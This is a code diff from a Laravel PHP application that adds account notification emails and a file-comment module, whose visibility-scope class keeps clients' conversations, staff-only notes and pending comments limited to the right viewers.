if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountEdited)) !== null) {
|
||||
return $this->mailFromOverride($override, []);
|
||||
}
|
||||
|
||||
return (new MailMessage)
|
||||
->subject(__('Your account was updated'))
|
||||
->line(__('Your account details were recently changed by an administrator. Contact your administrator if this was not expected.'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Notifications;
|
||||
|
||||
use App\Modules\Platform\Notifications\Concerns\RendersOverridableMail;
|
||||
use App\Modules\Platform\Notifications\EmailTemplateSlot;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
use Illuminate\Notifications\Notification;
|
||||
|
||||
/**
|
||||
* Sent when staff create a client account directly (ClientsController::store).
|
||||
* No set-password link — staff already chose the password in that flow,
|
||||
* unlike self-registration approval which reuses the same login-link shape.
|
||||
*/
|
||||
class ClientWelcomeNotification extends Notification implements ShouldQueue
|
||||
{
|
||||
use Queueable, RendersOverridableMail;
|
||||
|
||||
/**
|
||||
* @return array<int, string>
|
||||
*/
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return ['mail'];
|
||||
}
|
||||
|
||||
public function toMail(object $notifiable): MailMessage
|
||||
{
|
||||
if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientWelcome)) !== null) {
|
||||
return $this->mailFromOverride($override, [])->action(__('Log in'), route('login'));
|
||||
}
|
||||
|
||||
return (new MailMessage)
|
||||
->subject(__('Welcome'))
|
||||
->line(__('An account has been created for you. You can log in now.'))
|
||||
->action(__('Log in'), route('login'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,464 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Comments\Access;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Comments\CommentVisibility;
|
||||
use App\Modules\Comments\GuestCommentIdentity;
|
||||
use App\Modules\Comments\Models\FileComment;
|
||||
use App\Modules\Files\Access\ShareTargets;
|
||||
use App\Modules\Files\Access\StaffLibraryScope;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Modules\Files\Models\Folder;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Notifications\InAppNotification;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
|
||||
/**
|
||||
* The single place that decides which comments on a file a viewer may
|
||||
* read, and — its mirror image — which people a new comment may be
|
||||
* announced to.
|
||||
*
|
||||
* Follows the same convention as Files' FilePolicy/ViewableFileScope pair:
|
||||
* one question, expressed once, in SQL, so no caller has to re-derive it.
|
||||
* Unlike that pair there is no per-model policy twin doing the same work
|
||||
* in PHP; FileCommentPolicy::view() defers to this class rather than
|
||||
* restating it, because two statements of a rule this sharp will drift.
|
||||
*
|
||||
* **Callers must have already established that the viewer may see the
|
||||
* file itself** (Gate::authorize('view', $file), or for guests, that the
|
||||
* file is publicly reachable). This class narrows an accessible file's
|
||||
* comments; it is not a substitute for the file's own gate.
|
||||
*
|
||||
* The rule that everything else hangs off:
|
||||
*
|
||||
* A Clients comment carrying client_context_id = C is never returned to
|
||||
* any non-staff viewer other than C.
|
||||
*
|
||||
* That is what stops one customer learning that another exists — a worse
|
||||
* failure than leaking a comment's text. A Clients comment with a *null*
|
||||
* context is a staff message to everyone on the file, and every client
|
||||
* with access reads it: it is written by staff and names no client, so
|
||||
* seeing it tells a reader nothing about who else is there.
|
||||
*
|
||||
* Nothing outside this class may query file_comments by file_id alone.
|
||||
*/
|
||||
class VisibleCommentScope
|
||||
{
|
||||
public function __construct(
|
||||
private readonly StaffLibraryScope $scope,
|
||||
private readonly ShareTargets $shareTargets,
|
||||
private readonly GuestCommentIdentity $guests,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @param User|null $viewer Null means an anonymous visitor.
|
||||
* @return Builder<FileComment>
|
||||
*/
|
||||
public function for(?User $viewer, File $file): Builder
|
||||
{
|
||||
return $this->applyVisibility(
|
||||
FileComment::query()->where('file_id', $file->id),
|
||||
$viewer,
|
||||
$file->isEffectivelyPublic(),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Every comment this staff member may read, across their whole library
|
||||
* — the management screen's query, rather than one file's thread.
|
||||
*
|
||||
* Same predicate as for(), so the screen that lists everything is still
|
||||
* governed by the rule at the top of this class: another person's "only
|
||||
* me" note is not in it, and neither is a conversation belonging to a
|
||||
* client this viewer is not assigned to. **A moderation screen is not a
|
||||
* way around the visibility model** — moderating means deciding about
|
||||
* comments you can already see.
|
||||
*
|
||||
* Staff only. A client has no cross-file view of comments and asking
|
||||
* for one is a mistake rather than an empty result, but returning
|
||||
* nothing is the safe way to be wrong.
|
||||
*
|
||||
* @return Builder<FileComment>
|
||||
*/
|
||||
public function across(User $viewer): Builder
|
||||
{
|
||||
if (! $viewer->isStaff()) {
|
||||
return FileComment::query()->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $this->applyVisibility(
|
||||
FileComment::query()->whereIn('file_id', $this->scope->files($viewer)->select('files.id')),
|
||||
$viewer,
|
||||
// Publicness is a property of each file, so it cannot be one
|
||||
// value for a query spanning many. It does not have to be: the
|
||||
// staff branch of applyVisibility never reads this argument
|
||||
// (staff keep seeing Everyone comments whatever the file's
|
||||
// current state), and this method is staff-only.
|
||||
isPublic: false,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* How many comments are waiting for a decision anywhere in this
|
||||
* viewer's library — the sidebar badge.
|
||||
*
|
||||
* Deliberately not derived from across(): a held comment is invisible
|
||||
* to everyone but a moderator, so the number is about the queue rather
|
||||
* than about what this viewer may read, and a moderator who cannot see
|
||||
* a particular client's thread must still be told the file has
|
||||
* something waiting.
|
||||
*/
|
||||
public function pendingTotal(User $viewer): int
|
||||
{
|
||||
if (! $viewer->isStaff() || ! $viewer->can('moderate_comments')) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return FileComment::query()
|
||||
->whereNull('approved_at')
|
||||
->whereIn('file_id', $this->scope->files($viewer)->select('files.id'))
|
||||
->count();
|
||||
}
|
||||
|
||||
/**
|
||||
* How many comments each of these files has, from this viewer's point
|
||||
* of view — the number on a file row.
|
||||
*
|
||||
* Runs the same predicate as for(), because it calls the same private
|
||||
* method: this is the bulk shape of one rule, not a second statement
|
||||
* of it. The only thing it cannot batch is whether a file is public,
|
||||
* which is a property of each row rather than of the query, so the
|
||||
* files are split into two groups and the predicate applied to each.
|
||||
*
|
||||
* @param iterable<File> $files
|
||||
* @return array<int, int> file id => count
|
||||
*/
|
||||
public function countsFor(?User $viewer, iterable $files): array
|
||||
{
|
||||
$public = [];
|
||||
$private = [];
|
||||
|
||||
foreach ($files as $file) {
|
||||
if ($file->isEffectivelyPublic()) {
|
||||
$public[] = $file->id;
|
||||
} else {
|
||||
$private[] = $file->id;
|
||||
}
|
||||
}
|
||||
|
||||
$counts = [];
|
||||
|
||||
foreach ([[$public, true], [$private, false]] as [$ids, $isPublic]) {
|
||||
if ($ids === []) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$rows = $this->applyVisibility(FileComment::query()->whereIn('file_id', $ids), $viewer, $isPublic)
|
||||
->selectRaw('file_id, count(*) as aggregate')
|
||||
->groupBy('file_id')
|
||||
->pluck('aggregate', 'file_id');
|
||||
|
||||
foreach ($rows as $fileId => $count) {
|
||||
$counts[(int) $fileId] = (int) $count;
|
||||
}
|
||||
}
|
||||
|
||||
return $counts;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param Builder<FileComment> $query
|
||||
* @return Builder<FileComment>
|
||||
*/
|
||||
private function applyVisibility(Builder $query, ?User $viewer, bool $isPublic): Builder
|
||||
{
|
||||
// A comment awaiting moderation exists only for those who can act
|
||||
// on it — and for whoever wrote it, who would otherwise watch their
|
||||
// own comment vanish on posting and conclude it had failed. A
|
||||
// visitor is recognised by their session (see GuestCommentIdentity);
|
||||
// that is weak on purpose, and only ever widens what somebody sees
|
||||
// of their own writing.
|
||||
if ($viewer === null || ! $viewer->can('moderate_comments')) {
|
||||
$ownPending = $viewer === null ? $this->guests->ownCommentIds() : [];
|
||||
|
||||
$query->where(fn (Builder $visible) => $visible
|
||||
->whereNotNull('approved_at')
|
||||
->when($ownPending !== [], fn (Builder $mine) => $mine->orWhereIn('id', $ownPending)));
|
||||
}
|
||||
|
||||
if ($viewer === null) {
|
||||
// Publicness is re-derived here on every read rather than
|
||||
// frozen onto the comment at write time, so making a file
|
||||
// private later retracts its public comments too.
|
||||
return $isPublic
|
||||
? $query->where('visibility', CommentVisibility::Everyone)
|
||||
: $query->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $query->where(function (Builder $outer) use ($viewer, $isPublic): void {
|
||||
// Your own comments, whatever audience you gave them. This is
|
||||
// the only branch that can return a CommentVisibility::OnlyMe
|
||||
// row, which is what makes "only me" mean it.
|
||||
$outer->where('author_id', $viewer->id);
|
||||
|
||||
if ($viewer->isStaff()) {
|
||||
// Staff keep seeing Everyone comments after a file stops
|
||||
// being public — they can see the file, and a history with
|
||||
// holes in it is worse than one that is merely stale.
|
||||
$outer->orWhere('visibility', CommentVisibility::Everyone);
|
||||
$outer->orWhere('visibility', CommentVisibility::StaffOnly);
|
||||
$this->applyStaffThreads($outer, $viewer);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if ($isPublic) {
|
||||
$outer->orWhere('visibility', CommentVisibility::Everyone);
|
||||
}
|
||||
|
||||
// A client reads two things: what staff addressed to every
|
||||
// client on this file, and their own conversation. Never a
|
||||
// staff-only note, and never another client's conversation —
|
||||
// they are not told the others are there.
|
||||
$outer->orWhere(fn (Builder $broadcast) => $broadcast
|
||||
->where('visibility', CommentVisibility::Clients)
|
||||
->whereNull('client_context_id'));
|
||||
|
||||
$outer->orWhere(fn (Builder $thread) => $thread
|
||||
->where('visibility', CommentVisibility::Clients)
|
||||
->where('client_context_id', $viewer->id));
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* How many comments on each file are waiting for a decision.
|
||||
*
|
||||
* Distinct from unreadCountsFor: unread is "you have not looked at
|
||||
* this yet", pending is "nobody can see this until somebody acts".
|
||||
* Only a moderator gets a count at all, which is why the empty array
|
||||
* for everyone else is the whole answer rather than a filter applied
|
||||
* afterwards — a staff member who cannot approve should not be shown
|
||||
* a badge asking them to.
|
||||
*
|
||||
* @param list<int> $fileIds
|
||||
* @return array<int, int> file id => count
|
||||
*/
|
||||
public function pendingCountsFor(User $viewer, array $fileIds): array
|
||||
{
|
||||
if ($fileIds === [] || ! $viewer->can('moderate_comments')) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$rows = FileComment::query()
|
||||
->whereIn('file_id', $fileIds)
|
||||
->whereNull('approved_at')
|
||||
->selectRaw('file_id, count(*) as aggregate')
|
||||
->groupBy('file_id')
|
||||
->pluck('aggregate', 'file_id');
|
||||
|
||||
$counts = [];
|
||||
|
||||
foreach ($rows as $fileId => $count) {
|
||||
$counts[(int) $fileId] = (int) $count;
|
||||
}
|
||||
|
||||
return $counts;
|
||||
}
|
||||
|
||||
/**
|
||||
* How many comments on each file are new to this viewer.
|
||||
*
|
||||
* Read state rides on the notification system's own `read_at` rather
|
||||
* than a file_comment_reads table of its own: a viewer has already
|
||||
* been told about every comment they may see (that is what
|
||||
* recipientsFor guarantees), so "unread notification about this file"
|
||||
* and "unread comment on this file" are the same set. A second
|
||||
* mechanism would only be a second thing to keep in step.
|
||||
*
|
||||
* @param list<int> $fileIds
|
||||
* @return array<int, int> file id => count
|
||||
*/
|
||||
public function unreadCountsFor(User $viewer, array $fileIds): array
|
||||
{
|
||||
if ($fileIds === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$rows = InAppNotification::query()
|
||||
->where('user_id', $viewer->id)
|
||||
->where('type', 'file_comment.posted')
|
||||
->where('subject_type', (new File)->getMorphClass())
|
||||
->whereIn('subject_id', $fileIds)
|
||||
->whereNull('read_at')
|
||||
->selectRaw('subject_id, count(*) as aggregate')
|
||||
->groupBy('subject_id')
|
||||
->pluck('aggregate', 'subject_id');
|
||||
|
||||
$counts = [];
|
||||
|
||||
foreach ($rows as $fileId => $count) {
|
||||
$counts[(int) $fileId] = (int) $count;
|
||||
}
|
||||
|
||||
return $counts;
|
||||
}
|
||||
|
||||
/**
|
||||
* Who should be told about $comment, excluding its own author.
|
||||
*
|
||||
* This is the set-of-people mirror of for()'s set-of-rows, and exists
|
||||
* so Notifier's security contract can be honoured without the caller
|
||||
* re-deriving visibility: a notification must never reach somebody the
|
||||
* comment itself would not.
|
||||
*
|
||||
* Deliberately narrower than "everyone who could read it" in one case:
|
||||
* an Everyone comment notifies staff only. Every client on a public
|
||||
* file receiving a notification for every public remark would be noise,
|
||||
* and staff are the ones who would act on it.
|
||||
*
|
||||
* @return Collection<int, User>
|
||||
*/
|
||||
public function recipientsFor(FileComment $comment): Collection
|
||||
{
|
||||
$file = $comment->file;
|
||||
|
||||
/** @var Collection<int, User> $none */
|
||||
$none = new Collection;
|
||||
|
||||
if ($comment->visibility === CommentVisibility::OnlyMe) {
|
||||
return $none;
|
||||
}
|
||||
|
||||
$recipients = $this->staffWhoCanSee($file);
|
||||
|
||||
$client = $comment->clientContext;
|
||||
|
||||
if ($comment->visibility === CommentVisibility::Clients) {
|
||||
if ($client !== null) {
|
||||
// Staff whose library scope excludes this conversation's
|
||||
// client must not hear about it — the same boundary for()
|
||||
// applies to rows.
|
||||
$recipients = $recipients
|
||||
->filter(fn (User $staff): bool => $this->scope->canAssignClient($staff, $client))
|
||||
->values();
|
||||
|
||||
$recipients->push($client);
|
||||
} else {
|
||||
// Addressed to every client on the file, so every client on
|
||||
// the file is told. This is the one case that fans out.
|
||||
foreach ($this->clientsWhoCanSee($comment->file) as $recipient) {
|
||||
$recipients->push($recipient);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $recipients
|
||||
->reject(fn (User $user): bool => $user->id === $comment->author_id)
|
||||
->values();
|
||||
}
|
||||
|
||||
/**
|
||||
* Staff who hold moderation rights — the audience for a comment held
|
||||
* for approval, which is not the same audience as the comment itself
|
||||
* (it has none yet).
|
||||
*
|
||||
* @return Collection<int, User>
|
||||
*/
|
||||
public function moderators(File $file): Collection
|
||||
{
|
||||
return $this->staffWhoCanSee($file)
|
||||
->filter(fn (User $staff): bool => $staff->can('moderate_comments'))
|
||||
->values();
|
||||
}
|
||||
|
||||
/**
|
||||
* Clients this file is in front of: assigned to it, to a group it is
|
||||
* shared with, or to the folder it sits in or any folder above that.
|
||||
*
|
||||
* Expressed through ShareTargets rather than as an inverted
|
||||
* File::scopeVisibleToClient — that scope is the authority on "can this
|
||||
* client see this file", and writing its mirror image here would be a
|
||||
* third statement of a rule this feature depends on not drifting. The
|
||||
* cost is that a client who reaches the file only by having uploaded it
|
||||
* themselves is not notified of a message to all clients; they still
|
||||
* read it when they open the file.
|
||||
*
|
||||
* @return Collection<int, User>
|
||||
*/
|
||||
private function clientsWhoCanSee(File $file): Collection
|
||||
{
|
||||
$shares = $this->shareTargets->assigned($file);
|
||||
|
||||
$groupIds = array_column($shares['groups'], 'id');
|
||||
$clientIds = array_column($shares['clients'], 'id');
|
||||
|
||||
$folder = $file->folder;
|
||||
|
||||
if ($folder !== null) {
|
||||
foreach (Folder::query()->whereIn('id', [$folder->id, ...$folder->ancestorIds()])->get() as $ancestor) {
|
||||
$inherited = $this->shareTargets->assigned($ancestor);
|
||||
$groupIds = [...$groupIds, ...array_column($inherited['groups'], 'id')];
|
||||
$clientIds = [...$clientIds, ...array_column($inherited['clients'], 'id')];
|
||||
}
|
||||
}
|
||||
|
||||
/** @var Collection<int, User> $clients */
|
||||
$clients = User::query()
|
||||
->where('type', UserType::Client)
|
||||
->where(fn (Builder $who) => $who
|
||||
->whereIn('id', $clientIds)
|
||||
->orWhereHas('memberOfGroups', fn (Builder $groups) => $groups->whereIn('groups.id', $groupIds)))
|
||||
->get();
|
||||
|
||||
return $clients;
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolved per user through the file's own policy rather than as one
|
||||
* query: FilePolicy::view mixes a permission check (a property of the
|
||||
* viewer) with a scope check (a property of the row), and staff counts
|
||||
* are small by design in this product — the v2 model puts limited
|
||||
* staff on client scoping, not on large teams.
|
||||
*
|
||||
* @return Collection<int, User>
|
||||
*/
|
||||
private function staffWhoCanSee(File $file): Collection
|
||||
{
|
||||
/** @var Collection<int, User> $staff */
|
||||
$staff = User::query()->where('type', UserType::Staff)->get();
|
||||
|
||||
return $staff->filter(fn (User $user): bool => Gate::forUser($user)->allows('view', $file))->values();
|
||||
}
|
||||
|
||||
/**
|
||||
* @param Builder<FileComment> $outer
|
||||
*/
|
||||
private function applyStaffThreads(Builder $outer, User $viewer): void
|
||||
{
|
||||
// Null means unrestricted: this staff member sees every client's
|
||||
// conversation on a file they can already open.
|
||||
$clientIds = $this->scope->assignableClientIds($viewer);
|
||||
|
||||
$outer->orWhere(function (Builder $thread) use ($clientIds): void {
|
||||
$thread->where('visibility', CommentVisibility::Clients);
|
||||
|
||||
if ($clientIds === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
// A client-scoped staff member sees their own clients'
|
||||
// conversations, plus the messages addressed to every client on
|
||||
// the file (no conversation of their own, so no client to be
|
||||
// out of scope for), and nothing of the clients they are not
|
||||
// assigned to.
|
||||
$thread->where(fn (Builder $context) => $context
|
||||
->whereNull('client_context_id')
|
||||
->orWhereIn('client_context_id', $clientIds));
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Comments;
|
||||
|
||||
use App\Modules\Identity\UserType;
|
||||
|
||||
/**
|
||||
* Who may write a comment (Setting::CommentsAuthors).
|
||||
*
|
||||
* This is a setting rather than a permission on purpose. Roles are only
|
||||
* editable in the community edition — the cloud edition gates the whole
|
||||
* roles screen behind Capability::UsersManage — so a permission key would
|
||||
* be unconfigurable for half our installs. It also expresses something a
|
||||
* permission structurally cannot: `Everyone` includes anonymous visitors,
|
||||
* who have no account and therefore no role to hold a key.
|
||||
*/
|
||||
enum CommentAuthors: string
|
||||
{
|
||||
case Staff = 'staff';
|
||||
case Clients = 'clients';
|
||||
case StaffAndClients = 'staff_and_clients';
|
||||
case Everyone = 'everyone';
|
||||
|
||||
/**
|
||||
* @param UserType|null $type Null means an anonymous visitor.
|
||||
*/
|
||||
public function allows(?UserType $type): bool
|
||||
{
|
||||
return match ($this) {
|
||||
self::Staff => $type === UserType::Staff,
|
||||
self::Clients => $type === UserType::Client,
|
||||
self::StaffAndClients => $type !== null,
|
||||
self::Everyone => true,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* English label — also the translation key.
|
||||
*/
|
||||
public function label(): string
|
||||
{
|
||||
return match ($this) {
|
||||
self::Staff => 'Staff only',
|
||||
self::Clients => 'Clients only',
|
||||
self::StaffAndClients => 'Staff and clients',
|
||||
self::Everyone => 'Anyone, including visitors who are not logged in',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Comments;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Comments\Access\VisibleCommentScope;
|
||||
use App\Modules\Comments\Models\FileComment;
|
||||
use App\Modules\Files\Models\File;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
|
||||
/**
|
||||
* One shape for a comment thread, whoever is asking.
|
||||
*
|
||||
* The staff panel, the client portal, all four public themes and the API
|
||||
* render the same payload, so a field added here reaches every surface at
|
||||
* once — the same reason the theme pages consume controller props rather
|
||||
* than fetching their own (see docs/theming-files-checklist.md).
|
||||
*
|
||||
* A client's payload never says that a comment belongs to one client's
|
||||
* conversation rather than to all of them — `conversation` below is
|
||||
* staff-only. A UI flag can be got around by reading the network tab;
|
||||
* missing data cannot.
|
||||
*/
|
||||
class CommentPresenter
|
||||
{
|
||||
public function __construct(
|
||||
private readonly VisibleCommentScope $scope,
|
||||
private readonly CommentingRules $rules,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array{comments: list<array<string, mixed>>, can_comment: bool, cannot_comment_reason: string|null, is_guest: bool, guest_moderated: bool, captcha_required: bool, visibilities: list<array<string, mixed>>, default_visibility: string|null, edit_window_minutes: int}
|
||||
*/
|
||||
public function thread(?User $viewer, File $file): array
|
||||
{
|
||||
$forStaff = $viewer?->isStaff() === true;
|
||||
|
||||
$comments = $this->scope->for($viewer, $file)
|
||||
->with(['author', 'clientContext'])
|
||||
->orderBy('created_at')
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
/** @var list<array<string, mixed>> $presented */
|
||||
$presented = $comments->map(fn (FileComment $comment): array => $this->present($viewer, $comment))->values()->all();
|
||||
|
||||
return [
|
||||
'comments' => $presented,
|
||||
'can_comment' => $this->rules->canPost($viewer, $file),
|
||||
// …and why not, when not. Without it the composer disappears
|
||||
// silently and the empty thread says "No comments yet", which
|
||||
// reads as nobody having written one rather than as the box
|
||||
// being closed — the two are indistinguishable to the person
|
||||
// looking for somewhere to type.
|
||||
'cannot_comment_reason' => $this->rules->postingBlockedReason($viewer, $file),
|
||||
// The composer asks an anonymous author for a name and warns
|
||||
// that their comment is held; a signed-in one gets neither.
|
||||
// Decided here because the public page serves both, and the
|
||||
// page cannot tell them apart — it has no viewer.
|
||||
'is_guest' => $viewer === null,
|
||||
// Whether an anonymous comment actually waits for a moderator.
|
||||
// The composer promises that it does, and the promise has to be
|
||||
// true: with moderation off the comment appears immediately,
|
||||
// and saying otherwise is simply a lie to the person writing it.
|
||||
'guest_moderated' => $this->rules->moderatesGuests(),
|
||||
// Whether this author will be asked for a security check. Sent
|
||||
// per thread rather than read from the shared props, because
|
||||
// only the server knows whether this viewer counts as a
|
||||
// visitor — the composer is the same component either way.
|
||||
'captcha_required' => $this->rules->captchaRequiredFor($viewer),
|
||||
// Labels depend on which end of the conversation is reading:
|
||||
// `clients` is one channel, and staff call it "Clients" while a
|
||||
// client calls it "Staff". Unavailable audiences are sent too,
|
||||
// so the composer can show them disabled with the reason rather
|
||||
// than leave a hole where an option used to be.
|
||||
'visibilities' => array_map(
|
||||
fn (array $option): array => [
|
||||
'value' => $option['visibility']->value,
|
||||
'label' => $option['visibility']->label($forStaff),
|
||||
'description' => $option['visibility']->description($forStaff),
|
||||
'available' => $option['available'],
|
||||
'reason' => $option['reason'],
|
||||
],
|
||||
$this->rules->visibilityOptions($viewer, $file),
|
||||
),
|
||||
'default_visibility' => $this->rules->defaultVisibility($viewer, $file)?->value,
|
||||
'edit_window_minutes' => $this->rules->editWindowMinutes(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function present(?User $viewer, FileComment $comment): array
|
||||
{
|
||||
return [
|
||||
'id' => $comment->id,
|
||||
'body' => $comment->body,
|
||||
'author_name' => $comment->authorName(),
|
||||
'author_type' => $this->authorType($comment),
|
||||
'is_mine' => $viewer !== null && $comment->author_id === $viewer->id,
|
||||
'visibility' => $comment->visibility->value,
|
||||
'visibility_label' => $comment->visibility->label($viewer?->isStaff() === true),
|
||||
// Whose conversation this is, when it is one client's rather
|
||||
// than every client's. Staff only: a client must not be able to
|
||||
// tell that their comment sits among others.
|
||||
'conversation' => $viewer?->isStaff() === true && $comment->client_context_id !== null
|
||||
? $comment->clientContext?->name
|
||||
: null,
|
||||
// Replying is how staff address one client — the audience is
|
||||
// inherited from here, never chosen. Only worth offering on a
|
||||
// comment that has a client behind it to answer.
|
||||
'can_reply' => $viewer?->isStaff() === true
|
||||
&& $comment->visibility === CommentVisibility::Clients
|
||||
&& $comment->client_context_id !== null
|
||||
&& $comment->author_id !== $viewer->id,
|
||||
'pending' => $comment->isPending(),
|
||||
'created_at' => $comment->created_at?->toIso8601String(),
|
||||
'edited_at' => $comment->edited_at?->toIso8601String(),
|
||||
'can_update' => $viewer !== null && Gate::forUser($viewer)->allows('update', $comment),
|
||||
'can_delete' => $viewer !== null && Gate::forUser($viewer)->allows('delete', $comment),
|
||||
// A held comment is only actionable where it is seen. The
|
||||
// moderation queue is for working through a backlog; somebody
|
||||
// who followed the alert on a file row is already looking at
|
||||
// the one comment they came to decide about.
|
||||
'can_approve' => $comment->isPending()
|
||||
&& $viewer !== null
|
||||
&& Gate::forUser($viewer)->allows('moderate', FileComment::class),
|
||||
];
|
||||
}
|
||||
|
||||
private function authorType(FileComment $comment): string
|
||||
{
|
||||
$author = $comment->author;
|
||||
|
||||
if ($author === null) {
|
||||
return 'guest';
|
||||
}
|
||||
|
||||
return $author->isStaff() ? 'staff' : 'client';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Comments;
|
||||
|
||||
use App\Modules\Files\Models\File;
|
||||
|
||||
/**
|
||||
* Which files accept comments at all (Setting::CommentsScope).
|
||||
*
|
||||
* The `*_files` suffixes exist to keep this vocabulary apart from
|
||||
* CommentVisibility's, which also has a "public" and a "with access" idea
|
||||
* and means something entirely different — this enum is about *files*,
|
||||
* that one is about *comments*.
|
||||
*
|
||||
* `SelectedFiles` is the only value that consults the per-file
|
||||
* `files.commentable` flag; under every other value that column is
|
||||
* ignored, which is why the file editor only offers the toggle when this
|
||||
* setting is `selected`.
|
||||
*/
|
||||
enum CommentScope: string
|
||||
{
|
||||
case None = 'none';
|
||||
case AllFiles = 'all';
|
||||
case PublicFiles = 'public_files';
|
||||
case SharedFiles = 'shared_files';
|
||||
case SelectedFiles = 'selected';
|
||||
|
||||
public function allows(File $file): bool
|
||||
{
|
||||
return match ($this) {
|
||||
self::None => false,
|
||||
self::AllFiles => true,
|
||||
self::PublicFiles => $file->isEffectivelyPublic(),
|
||||
self::SharedFiles => ! $file->isEffectivelyPublic(),
|
||||
self::SelectedFiles => (bool) $file->commentable,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* English label — also the translation key.
|
||||
*/
|
||||
public function label(): string
|
||||
{
|
||||
return match ($this) {
|
||||
self::None => 'No files — commenting is off',
|
||||
self::AllFiles => 'All files',
|
||||
self::PublicFiles => 'Public files only',
|
||||
self::SharedFiles => 'Shared files only',
|
||||
self::SelectedFiles => 'Only files marked as commentable',
|
||||
};
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user